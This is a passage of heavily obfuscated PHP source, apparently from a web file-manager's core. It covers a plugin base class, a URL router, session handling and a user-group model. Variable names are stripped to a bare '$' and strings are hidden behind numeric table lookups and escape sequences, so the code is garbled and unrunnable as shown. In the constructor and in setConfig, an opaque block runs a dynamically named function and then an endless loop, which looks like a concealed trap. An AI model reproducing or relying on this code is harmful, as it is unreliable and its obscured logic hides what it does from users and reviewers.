 > 0; $++) { $ = json_encode($GLOBALS[$[500]]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $thi
s->modelPlugin = Model($[1620]); $this->pluginName = str_replace($[1620], $[12], get_class($this)); $this->pluginPath = PLUGIN_D
IR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1621] . $this->pluginName . $[8]; $this->pluginHost = $config
[$[1622]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1622]] . $this->pluginName . $[8]; $ = $con
fig[$[1623]]; if ($ && strpos($[50] . $ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1624
]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); $t
his->linkHas = !1; return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function up
date() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1625]); } protected function assign($
, $ = false) { if (is_array($)) { $this->values = array_merge($this->values, $); } else { $this->values[$] = $; }
} protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appR
egist($this->pluginName, $); } final function appIcon() { $ =& $_SERVER[]; $ = $this->appPackage(); $ = $[12];
if (isset($[$[498]])) { if (isset($[$[498]][$[1626]])) { $ = $[1627] . $[$[498]][$[1626]]
. $[1628]; } else { if ($[$[498]][$[1629]]) { $ = $[1630] . $[$[498]][$[1629]] . $[1631];
} } } return $; } final function fileCanView($) { $ =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->i
sShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ = $[1632] . rawurlencode(this_url()); show_tips(L
NG($[1633]) . $[1634] . $ . $[1635] . LNG($[1636]) . $[1637], !1); } if (!Action($[1638])->authCan($[1639])) { sh
ow_tips(LNG($[1640]) . $[1641], !1); } ActionCall($[1642], $); } final function isShare($) { $ = KodIO::parse($)
; return $[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { retur
n $; } if (!$this->isShare($)) { $ = $this->filePath($, !1); } return Action($_SERVER[][1252])->linkOut($); }
public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[
][1252])->link($); } final function filePath($, $ = true, $ = false) { $ =& $_SERVER[]; $ = $this->
filePathGet($, $); if (!$this->fileInfo) { show_tips(LNG($[108]), !1); } if ($ && isset($this->fileInfo[$[549]]) &
& $this->fileInfo[$[549]]) { $ = Model($[552])->fileInfo($this->fileInfo[$[549]]); if (!$ || !IO::exist($[$
[87]])) { show_tips(LNG($[108]) . $[1643]); } } Hook::trigger($[1644], $); return $; } final function fi
lePathGet($, $ = true) { $ =& $_SERVER[]; if ($ = $this->checkSharePath($, $)) { return $; } $this
->fileCanView($); if (request_url_safe($)) { $ = parse_url_query($); if (isset($[$[1645]]) && isset($
[$[234]])) { $ = Mcrypt::decode($[$[234]], Model($[843])->get($[844])); if ($) { $this->fileInfo = IO::info
($); $this->fileInfo[$[1646]] = $; $this->cachePath = $this->pluginCachePath($[12], $); return $; } } $ =
$this->_cacheHttpFile($, $); $this->fileInfo = IO::info($); } else { $this->fileInfo = IO::info($); $this->cachePath
= $this->pluginCachePath($[12], $); } return $; } final function _cacheHttpFile($, $ = true) { $ =& $_SERVE
R[]; $ = parse_url_query($); $ = get_path_ext($); if (isset($[$[32]]) && $[$[32]]) { $
 = get_path_ext($[$[32]]); } $ = hash_path($) . $[10] . $; $this->cachePath = $this->pluginCachePath($
? $ : $[12]); $ = IO::fileNameExist($this->cachePath, $); if ($) { return KodIO::make($); } $ = rtrim($this->ca
chePath, $[8]) . $[8] . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($)); } final function check
SharePath($, $ = true) { $ =& $_SERVER[]; if (!$this->isShare($)) { return !1; } $ = Action($[1252])->sh
arePathInfo($); if (!is_array($) || !isset($[$[87]])) { show_json(LNG($[1647]), !1); } $this->fileInfo = $; $this-
>cachePath = $this->pluginCachePath(!1, $); return $[$[87]]; } final function pluginCachePath($ = '', $ = false) { $
 =& $_SERVER[]; if ($ && is_array($this->fileInfo)) { $ = kodIO::hashPath($this->fileInfo); } $ = rtrim(IO_PATH_SYSTE
M_TEMP . $[1648] . $this->pluginName . $[8] . $, $[8]); $ = IO::infoFullSimple($); $ = $ && is_array
($) ? $[$[87]] : $[12]; if (!$) { $ = IO::mkdir($); } return $; } final function pluginCacheFileSet(
$, $ = '') { $ =& $_SERVER[]; $ = IO::infoFullSimple($); if (!$) { return IO::mkfile($, $, REPEAT_
REPLACE); } IO::setContent($[$[87]], $); return $[$[87]]; } final function pluginLocalFile($ = '') { $ =& $_SERV
ER[]; $ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($)) { mk_dir($); } if (!$) { return $; } $
= IO::info($); $ = $[1649] . KodIO::hashPath($) . $[10] . $[$[169]]; if (!checkExtSafe($)) { $ = $
 . $[1287]; } $ = $ . $; if (@file_exists($)) { return $; } return IO::copy($, $, 0, $); } fi
nal function appPackage() { $ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($th
is->pluginPath . $[1650]); $this->parseLang($); $ = json_decode_force($); if (!$) { return array(); } $ = Hook:
:trigger($[1651], $); if ($ && is_array($)) { $ = $; } $this->packageData = $; return $; } public funct
ion packageInfoGet($) { $ = $this->appPackage(); return array_get_value($, $); } public function packageVersion() { re
turn $this->packageInfoGet($_SERVER[][1652]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1653]);
} public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1654]); } public function echoJsAssign($, $) {
$this->echoJsAssignArr[$] = $; } private function parseFile($) { $ =& $_SERVER[]; $ = file_get_contents_nossl($
); $ = array($[1655], $[1656], $[1657], $[1658], $[1659], $[1660], $[1661]); $ = array($this->pluginHost,
$this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[92]][$[1662]]); foreach (
$this->echoJsAssignArr as $ => $) { $[] = $[1663] . $ . $[1664]; $[] = is_array($) || is_object($) ?
rawurlencode(json_encode($)) : $; } if (strstr($, $[1665])) { $ = rawurlencode(json_encode($this->pluginLangArr));
$ = str_replace($[1665], $, $); } if (strstr($, $[1666])) { $ = $ = rawurlencode(json_encode($thi
s->getConfig())); $ = str_replace($[1666], $, $); } $ = str_replace($, $, $); return $; } pr
ivate function parseLang(&$) { $ =& $_SERVER[]; $ = $[1667]; if (!strstr($, $)) { return; } preg_match
_all($[1668], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $
 = array(); $ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -4); $ = LNG($); $[] = $
; $[] = str_replace(array($[262], $[1153], $[427], $[121]), array($[53], $[53], $[12], $[16
69]), $); } $ = str_replace($, $, $); } private function parseConfig(&$) { $ =& $_SERVER[]; $
= $[1670]; if (!strstr($, $)) { return; } preg_match_all($[1671], $, $); if (!is_array($) || count($
) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->getConfig(); $ = array(); $ = array();
foreach ($[0] as $) { $ = substr($, strlen($), -2); $[] = $; $[] = _get($, $); } $
= str_replace($, $, $); } private function parsePackage(&$) { $ =& $_SERVER[]; $ = $[1672]; if (!str
str($, $)) { return; } preg_match_all($[1673], $, $); if (!is_array($) || count($) == 0 || !is_array($[
0]) || count($[0]) == 0) { return; } $ = $this->appPackage(); $ = array(); $ = array(); foreach ($[0] as $) { $
 = substr($, strlen($), -2); $[] = $; $[] = _get($, $); } $ = str_replace($, $, $)
; } final function echoFile($, $ = false) { $ =& $_SERVER[]; $ = $this->pluginPath . $; if (ACT == $[1674])
{ echo $[1675] . $this->pluginName . $[8] . $ . $[1676]; if (!file_exists($)) { echo $[1677]; return; } } $ =
$this->parseFile($); $this->parseLang($); $this->parseConfig($); $this->parsePackage($); if (is_array($)) { $ =
str_replace(array_keys($), array_values($), $); } echo $[262] . $; } private function checkVersion() { $ =& $_SERVE
R[]; $ = $this->appPackage(); $ = $this->getConfig(); if ($[$[1678]] == $[$[1652]]) { return; } $this->regis
t(); $this->setConfig(array($[1678] => $[$[1652]])); } final function initLang() { $ =& $_SERVER[]; $ = $[1
679]; $ = $this->pluginPath . $[1680]; $ = I18n::getType(); $ = array(); if (file_exists($ . $ . $[911])) {
$ = (include $ . $ . $[911]); } else { if ($ == $[1681] && !file_exists($ . $ . $[911]) && file_
exists($ . $[1682])) { $ = (include $ . $[1682]); } else { if (file_exists($ . $ . $[911])) { $ = (
include $ . $ . $[911]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return
$; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName);
} return $this->pluginConfig; } public function setConfig($) { $ =& $_SERVER[]; if (!isset($_SERVER[$[321]]) || !isset(
$_SERVER[$[322]])) { $ = $[951]; $ = $[323]; $ = $_SERVER[$[324]] . $[325]; $ = $($); $
 = explode($[262], $); if (count($) < $[704]) { $ = $[327]; $(); } $ = $[952]; $($_SERVER[$
[953]]); $ = 1; for ($ = $; $ > 0; $++) { $ = json_encode($GLOBALS[$[500]]); } } $this->pluginConfig = ar
ray(); return $this->modelPlugin->setConfig($this->pluginName, $); } public function onSetConfig($) { } public function onGetConf
ig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeCl
ose() { } public function onChangeStatus($) { if ($ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public fun
ction authCheck($ = "\x70\154\x75\x67\151\156\101\165\164\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { retu
rn !1; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($_SERVER[][1683], $[$]); } publi
c function url($, $ = '', $ = true) { $ =& $_SERVER[]; $ = $this->getConfig(); $ = KOD_VERSION . $[
10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $ = $ . $[470] . $; if (substr($, 0, 4) == $[152] || subs
tr($, 0, 2) == $[1406]) { $ = $ . $[1684] . $; } else { if ($ == $[12]) { $ = $this->pluginHost . $
 . $[1684] . $; } else { if ($ === $[78]) { $ = $this->pluginHost . $; } else { if ($ == $[1685])
{ $ = STATIC_PATH . $ . $[1684] . $; } else { if ($ == $[1686]) { $ = APP_HOST . $[1687] . $ . $
[1684] . $; } else { if (isset($[$])) { $ = $[$] . $ . $[1684] . $; } } } } } } if (!$)
{ return $; } echo $; } public function link($ = false, $ = '') { $ =& $_SERVER[]; $ = $this->linkHa
s == !1; $this->linkHas = !0; if (!$) { $this->link($[1688], $[1686]); $this->link($[1689], $[1685]); $this->l
ink($[1690], $[1685]); $this->link($[1691], $[1685]); $this->link($[1692], $[1685]); if ($) { Hook:
:trigger($[1693]); } return; } $ = $this->url($, $, !1); if (substr($, -3) == $[1694]) { echo $[169
5] . $ . $[1696] . $[262]; } else { if (substr($, -4) == $[1697]) { echo $[1698] . $ . $[1699]
. $[262]; } } if ($) { Hook::trigger($[1693]); } } } class Route { public static $halts = false; public static $routes = a
rray(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array
("\72\141\x6e\x79" => "\133\x5e\x2f\135\53", "\x3a\x6e\x75\155" => "\x5b\60\x2d\71\135\x2b", "\x3a\141\154\154" => "\56\52"); public static
$errorCallback; public static function __callstatic($, $) { $ =& $_SERVER[]; if ($ == $[1700]) { $ = arra
y_map($[1701], $[0]); $ = strpos($[1], $[8]) === 0 ? $[1] : $[8] . $[1]; $ = $[2]; } else { $
 = null; $ = strpos($[0], $[8]) === 0 ? $[0] : $[8] . $[0]; $ = $[1]; } array_push(self::$maps, $);
array_push(self::$routes, $); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $); } public static funct
ion error($) { self::$errorCallback = $; } public static function haltOnMatch($ = true) { self::$halts = $; } public sta
tic function dispatch() { $ =& $_SERVER[]; $ = parse_url($_SERVER[$[1702]], PHP_URL_PATH); $ = $_SERVER[$[
164]]; $ = array_keys(static::$patterns); $ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($[1
357], $[8], self::$routes); if (in_array($, self::$routes)) { $ = array_keys(self::$routes, $); foreach ($ as $)
{ if (self::$methods[$] == $ || self::$methods[$] == $[1703] || in_array($, self::$maps[$])) { $ = !
0; if (!is_object(self::$callbacks[$])) { $ = explode($[8], self::$callbacks[$]); $ = end($); $ = explod
e($[1289], $); $ = new $[0](); $->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$ca
llbacks[$]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $) { if (strpos($, $[
4]) !== !1) { $ = str_replace($, $, $); } if (preg_match($[1704] . $ . $[1705], $, $)) { i
f (self::$methods[$] == $ || self::$methods[$] == $[1703] || !empty(self::$maps[$]) && in_array($, self::$maps[$
])) { $ = !0; array_shift($); if (!is_object(self::$callbacks[$])) { $ = explode($[8], self::$callbacks[$]);
$ = end($); $ = explode($[1289], $); $ = new $[0](); if (!method_exists($, $[1])) { echo $
[1706]; } else { call_user_func_array(array($, $[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(
self::$callbacks[$], $); if (self::$halts) { return; } } } } $++; } } if ($ == !1) { if (!self::$errorCallback) { self::$e
rrorCallback = function () { $ =& $_SERVER[]; header($_SERVER[$[1707]] . $[1708]); echo $[1709]; }; } else { if (i
s_string(self::$errorCallback)) { self::get($_SERVER[$[1702]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); r
eturn; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static
$handle; public static $data; public static function init() { $ =& $_SERVER[]; static $ = false; if ($) { return $
; } $ = $GLOBALS[$[6]][$[434]]; self::$sessionTime = $[$[1710]]; $ = isset($GLOBALS[$[1711]]) ? $GLOBALS[
$[1711]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else
{ self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime
); $ = $[$[1712]]; $ = $[$]; $ = $[$[900]]; switch ($) { case $[21]: self::$handle = Mod
el($[901]); break; case $[902]: self::$handle = new CacheRedis($, $); break; case $[903]: self::$handle = new CacheMem
cached($, $); break; case $[230]: $[$[87]] = $[$[87]] . $[1713]; self::$handle = new CacheFile($, $
); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } p
ublic static function getBySign($) { $ = self::$handle->get($); $ = unserialize($); return is_array($) ? $ : a
rray(); } public static function setBySign($, $) { CacheLock::lock($); self::$handle->set($, serialize($), self::
$sessionTime); CacheLock::unlock($); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } se
lf::init(); return self::$sessionSign; } public static function set($, $ = false) { self::init(); if (is_array($)) { foreach (
$ as $ => $) { array_set_value(self::$data, $, $); } } else { array_set_value(self::$data, $, $); } self::se
tBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; }
return array_get_value(self::$data, $); } public static function remove($) { self::init(); unset(self::$data[$]); self::$hand
le->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0)
; self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clea
rTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][906])) { self::$handle->clearTimeout(); } } } goto D; c
: class GroupModel extends ModelBase { protected $tableName = "\x67\x72\x6f\165\160"; protected $tableMeta = array("\x74\x61\x62\x6c\145\11
6\x61\x6d\145" => "\147\x72\x6f\165\x70\137\155\145\164\141", "\155\x65\164\x61\x46\151\x65\x6c\x64" => "\147\x72\157\x75\160\111\x44"); pro
tected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[2045] => array($[0], $[2046]), $
[2047] => array($[0], $[2048])); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($);
if (!$) { return !1; } if ($) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[][204
9], $); } protected function getInfoSimple($, $ = false) { $ =& $_SERVER[]; if ($) { $ = array($[19
63] => intval($)); $ = $this->where($)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet(
$[2050], $); } protected function groupAdd($) { $ =& $_SERVER[]; if (!$[$[192]] && isset($[$[1
963]]) && $[$[1963]] == 1) { if ($ = $this->getInfoSimple($[$[1963]], !0)) { return $[$[1963]]; } } else
{ $ = $this->getInfoSimple($[$[192]]); if (!$) { return !1; } } $ = $[602]; if ($[$[592]]) { $ =
$[$[592]] . $[$[1963]] . $[50]; } $ = array($[502] => $this->groupNameAuto($[$[192]], $[$
[32]]), $[485] => $[$[192]], $[660] => $, $[2051] => $[$[1949]], $[2052] => 0, $[1967] => 0);
if (isset($[$[1987]])) { $[$[1987]] = $[$[1987]]; } else { $ = $this->max($[1987]); if (!$) { $
 = 0; } $[$[1987]] = $ + 1; } if (!empty($[$[1963]])) { $[$[1963]] = $[$[1963]]; } $ = $th
is->add($); $this->setNamePinyin($, $[$[32]]); if (isset($[$[2053]])) { $this->metaSet($, array($[20
53] => $[$[2053]], $[2054] => $[$[2054]])); unset($[$[2053]]); unset($[$[2054]]); } Model($[
1414])->groupRootAdd($); $this->_clearCache($[$[192]]); return $; } protected function groupEdit($, $) { $
 =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } if (!empty($[$[192]])) { $ = $this->g
etInfoSimple($[$[192]]); if (!$) { return !1; } if ($[$[1963]] == $[$[1963]]) { return !1; } if ($[$
[192]] != $[$[192]]) { if ($[$[592]] !== $[$[592]] && strpos($[$[592]], $[$[592]]
. $[$[1963]] . $[50]) === 0) { return !1; } $[$[660]] = $[$[592]] . $[$[192]] . $[50];
$this->_changeChildLevel($, $); $this->_clearCache($[$[1963]]); $this->_clearCache($[$[192]]); } } if (isset($
[$[32]])) { $this->setNamePinyin($, $[$[32]]); } if (isset($[$[2053]])) { $this->metaSet($, array($
[2053] => $[$[2053]], $[2054] => $[$[2054]])); unset($[$[2053]]); unset($[$[2054]]); } $t
his->_clearChildrenCache($); return $this->where(array($[2055] => $))->save($); } private function _clearChildrenCache($
) { $ =& $_SERVER[]; $ = array($[660] => array($[620], $[$[592]] . $[$[1963]] . $[621]))
; $ = $this->field($[1963])->where($)->select(); foreach ($ as $) { $this->_clearCache($[$[1963]]); } }
private function _clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[2049], $); $this->cacheFunctio
nClear($[2050], $); } private function _changeChildLevel($, $, $ = false) { $ =& $_SERVER[]; $ =
$[$[592]] . $[$[1963]] . $[50]; $ = $[$[592]] . $[$[1963]] . $[50] . $[$[196
3]] . $[50]; if ($) { $ = $[$[592]] . $[$[1963]] . $[50]; } $ = array($[660] => array($
[620], $[$[592]] . $[$[1963]] . $[621])); $ = array($[660] => array($[669], "\x72\x65\x70\154\x61\14
3\x65\x28\160\x61\162\x65\156\x74\114\x65\166\145\154\x2c\47{$}\x27\x2c\x27{$}\x27\x29")); $this->_clearChildrenCache($); $t
his->where($)->data($)->save(); } public function setNamePinyin($, $ = false) { $ =& $_SERVER[]; if (!$) {
$ = $this->getInfoSimple($); $ = $[$[32]]; } if (!Input::check($, $[663])) { $this->metaSet($, $[546]
, null); $this->metaSet($, $[545], null); return; } $ = array($[546] => str_replace($[53], $[12], Pinyin::get($)),
$[545] => Pinyin::get($, $[664])); $this->metaSet($, $); } protected function groupStatus($, $) { $ =&
$_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $this->_clearCache($); return $this->metaSet($
, $[823], $); if ($ == $[91]) { $ = $this->parentLevelArray($[$[592]]); } else { } $[] = $
[$[1963]]; $ = array(); foreach ($ as $) { $[] = array($[1963] => $, $[97] => $[823], $
[459] => $); $this->_clearCache($); } return Model($[2056])->addAll($, array(), !0); } protected function groupRe
move($, $ = false) { $ =& $_SERVER[]; $ = array($[1963] => $); $ = $this->where($)->find();
if (!$ || $[$[192]] == 0) { return !1; } if (!$) { $ = $this->getInfoSimple($[$[192]]); $this->_chan
geChildLevel($, $, !0); $this->where(array($[192] => $))->save(array($[192] => $[$[192]])); $this->_c
learCache($[$[1963]]); } Model($[2056])->where($)->delete(); Model($[2057])->where($)->delete(); Model($[8
97])->groupRootRemove($); $this->_clearCache($[$[192]]); return $this->where($)->delete(); } protected function groupSo
rt($) { $ =& $_SERVER[]; $ = array(); foreach ($ as $ => $) { $[] = array($[1963], $, $
[1987], $ + 1); } $this->saveAll($); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_lis
tDataApply($[$_SERVER[][454]]); return $; } private function _makeOrder($ = '') { $ =& $_SERVER[]; $
= array($[1963], $[32], $[1951], $[231]); $ = array($[531] => $[532], $[533] => $[534])
; $ = Input::get($[538], $[7], $[1967], $); $ = Input::get($[539], $[7], $[2058], array($
[2058], $[533])); $ = $[$]; $ = $ . "{$}\40{$}\54\x20\147\162\157\x75\160\x49\x44\x20\141\x73\x63"
; return $this->order($); } public function listChild($) { $ =& $_SERVER[]; $ = $this->where(array($[192] =>
$))->_makeOrder()->selectPage(200); $this->_listDataApply($[$[454]]); return $; } public function listChildIds($) { $
 =& $_SERVER[]; if (is_string($)) { $ = explode($[50], $); } $ = $this->where(array($[1963] => arr
ay($[7], $)))->field($[2059])->select(); if (!$) { return !1; } $ = array(); foreach ($ as $) { $[
] = "\163\145\154\x65\x63\x74\40\147\x72\157\x75\x70\111\x44\40\x66\x72\157\155\40\140\147\x72\x6f\165\x70\x60\x20\x77\x68\145\x72\x65\40\16
0\x61\162\145\x6e\164\x4c\145\166\145\x6c\x20\x6c\x69\x6b\x65\40\47{$[$[592]]}{$[$[1963]]}\x2c\45\47"; } $ = i
mplode($[2060], $); $ = $this->query($); if (!$) { return array(); } $ = array_to_keyvalue($, $[12],
$[1963]); return array_unique($); } public function listByID($) { $ =& $_SERVER[]; if (!$) { return array();
} $ = array($[1963] => array($[7], $)); $ = $this->where($)->select(); $ = array_sort_keep($, $[1963],
$); $this->_listDataApply($); return $; } public function listSearch($) { $ =& $_SERVER[]; $ = trim($
[$[2061]]); $ = explode($[53], $); if (!$ || count($) == 1) { return $this->listSearchNow($); } $
 = array($[454] => array()); foreach ($ as $) { if (!trim($)) { continue; } $[$[2061]] = $; $ = $t
his->listSearchNow($); $[$[454]] = array_merge($[$[454]], $[$[454]]); } $[$[454]] = array_u
nique_by_key($[$[454]], $[1963]); $[$[451]] = array($[452] => count($[$[454]]), $[448] => 20
, $[438] => 1, $[453] => 1); return $; } public function listSearchNow($) { $ =& $_SERVER[]; $ = trim($
[$[2061]]); $ = isset($[$[2062]]) ? $[$[2062]] : !1; if (!trim($)) { return !1; } $ = str_rep
lace($[2063], $[2064], $); $ = array($[1963] => array($[467], "{$}\x25"), $[32] => array($[467], "
\x25{$}\45"), $[1074] => $[2065]); if ($) { $ = $this->getInfoSimple($); $ = $[$[592]] . $
. $[621]; $ = array($, array($[592] => array($[467], $))); } $ = $this->parseWhereLike($); $ = $thi
s->_makeOrder()->where($)->selectPage(20); $ = $ ? $ : array($[454] => array(), $[451] => array()); if (!$
 || count($[$[454]]) < 5 && Input::check($, $[403])) { $ = $this->groupChildrenAll($); $ = $this->_s
earchFromMeta($[545], $, 10, $); $ = $this->_searchFromMeta($[546], $, 10, $); $ = array_merge($,
$, $[$[454]]); $[$[454]] = array_unique_by_key($, $[1963]); $[$[451]][$[452]] = count(
$[$[454]]); $[$[451]][$[453]] = ceil($[$[451]][$[452]] / $[$[451]][$[448]]); } $t
his->_listDataApply($[$[454]]); return $; } protected function groupChildrenAll($) { $ =& $_SERVER[]; if (!$
) { return !1; } if (!is_array($)) { $ = array($); } $ = $; foreach ($ as $) { $ = $this->getInfoSim
ple($); $ = array($[592] => array($[467], $[$[592]] . $ . $[621])); $ = $this->field($[1
963])->where($)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[1963])); } return array_unique(
$); } private function _searchFromMeta($, $, $, $) { $ =& $_SERVER[]; $ = strtolower($); $
 = array($[97] => $, $[459] => array($[467], "\45{$}\x25")); $ = $this->parseWhereLike($); if ($
) { $[$[1963]] = array($[7], $); } $ = Model($[2066])->where($)->limit($)->select(); if (!$
) { return array(); } $ = array_to_keyvalue($, $[12], $[1963]); $ = $this->where(array($[2055] => array(
$[7], $)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($) { $ =
array($); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$) { $ =& $_SERVER[]; if
(!$) { return; } $ = array_to_keyvalue($, $[12], $[1963]); $this->_listAppendChildren($); $this->_listAppendChildr
enMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } priv
ate function _listAppendChildren(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1963]); $
= array($[192] => array($[7], $)); $ = array($[192], $[2067] => $[573]); $ = $this->field($)->where($
)->group($[192])->select(); $ = array_to_keyvalue($, $[192], $[573]); foreach ($ as &$) { $ = $
[$[1963]]; $[$[2068]] = isset($[$]) ? intval($[$]) : !1; } unset($); } private function _listAppend
ChildrenMember(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1963]); $ = array($[1963]
=> array($[7], $)); $ = array($[1963], $[2067] => $[573]); $ = Model($[2057])->field($)->where(
$)->group($[1963])->select(); $ = array_to_keyvalue($, $[1963], $[573]); foreach ($ as &$) { $ =
$[$[1963]]; $[$[2069]] = isset($[$]) ? intval($[$]) : !1; } unset($); } private function _list
AppendMeta(&$, $) { $ =& $_SERVER[]; $ = array($[1963] => array($[7], $)); $ = Model($[205
6])->where($)->select(); $ = array_to_keyvalue_group($, $[1963]); foreach ($ as &$) { $ = array_to_keyvalue($
, $[97], $[459]); } unset($); foreach ($ as &$) { $[$[547]] = array(); if (isset($[$[$[1
963]]])) { $[$[547]] = $[$[$[1963]]]; } } unset($); } protected function parentLevelArray($) { $ =&
$_SERVER[]; $ = explode($[50], trim($, $[50])); $ = array_remove_value($, $[228]); return $;
} protected function parentInGroup($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return
!0; } $ = $this->parentLevelArray($[$[592]]); $[] = $; foreach ($ as $) { if (in_array($ . $[12],
$)) { return !0; } } return !1; } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ = array(); forea
ch ($ as &$) { $[$[$[1963]]] = $[$[32]]; $ = $this->parentLevelArray($[$[592]]); fore
ach ($ as $) { if (!isset($[$])) { $[$] = 0; } } } unset($); foreach ($ as $ => $) { if ($
) { continue; } $ = $this->getInfoSimple($); $[$] = $[$[32]]; } $ = $GLOBALS[$[6]][$[
92]][$[2070]]; if (KodUser::isRoot()) { $ = !1; } foreach ($ as &$) { $ = $this->parentLevelArray($[$[
592]]); $ = $[12]; foreach ($ as $ => $) { if ($ && $ == 0) { continue; } $ .= $[$] .
$[8]; } if ($) { $ .= $[$[32]]; } $[$[597]] = str_replace($[600], $[8], $); } unset
($); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[]; $ = Model($[897])->listSourceRoot(Sou
rceModel::TYPE_GROUP, $); $ = array_to_keyvalue($, $[577]); $ = array_remove_key($, $[577]); foreach ($ as &
$) { $[$[90]] = $[$[$[1963]]] ? $[$[$[1963]]] : array(); } unset($); } protected function group
Merge($) { $ = array_values(array_unique($)); $ = array(); for ($ = 0; $ < count($); $++) {
$ = !1; for ($ = 0; $ < count($); $++) { if ($ == $) { continue; } if ($this->isParentOf($[$
], $[$])) { $ = !0; break; } } if (!$) { $[] = $[$]; } } return $; } protected function i
sParentOf($, $) { $ =& $_SERVER[]; if (!$ || !$ || $ == $) { return !1; } $ = $this->getInfoSimple($)
; $ = $this->getInfoSimple($); $ = $[$[592]] . $ . $[50]; if (substr($[$[592]], 0, strlen($))
== $) { return !0; } return !1; } public function groupShowRoot($, $ = false) { $ =& $_SERVER[]; $ = $this->g
etInfo($); if (!$) { return array(); } $ = $this->parentLevelArray($[$[592]]); $ = array($); if (count
($) == 0) { return $; } if ($ && count($) == 1) { return $; } if (!$[$[547]] || !isset($[$[54
7]][$[2053]]) || $[$[547]][$[2053]] == $[849]) { return $this->groupShowRoot($[count($) - 1], $); }
if ($[$[547]][$[2053]] == $[442]) { $ = explode($[50], $[$[547]][$[2054]]); if ($) { $
 = array_merge($, $); } } return $; } protected function resetParentLevel() { $ =& $_SERVER[]; $ = $
[1963]; $ = $this->select(); $ = array_to_keyvalue($, $); foreach ($ as $) { $ = $; $ = array(); w
hile ($[$[192]] != 0) { $[] = $[$[192]]; $ = $[$[$[192]]]; } $[] = 0; $ = $[50] .
implode($[50], array_reverse($)) . $[50]; $this->setNamePinyin($[$], $[$[32]]); $this->where(array($
 => $[$]))->save(array($[660] => $)); } return $; } public function groupNameAuto($, $) { $ =& $
_SERVER[]; $ = $this->where(array($[485] => $))->getField($[32], !0); if (!$ || !in_array($, $)) { ret
urn $; } for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "\x28{$}\x29"; if (!in_array($, $)) { r
eturn $; } } } public function groupSwitch($, $) { $ =& $_SERVER[]; $ = array($[1963] => array($[7
], array($, $))); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[1963]); if (!isset($[$
]) || !isset($[$]) || $[$][$[192]] == 0) { return !1; } $ = array($[1963] => $); $ = Mode
l($[2057])->where($)->select(); if (!$) { $ = array(); } foreach ($ as $) { $ = $[$[1764]]; $
 = array($[1764] => $, $[1963] => $); $ = Model($[2057])->where($)->find(); if (!$) { $ =
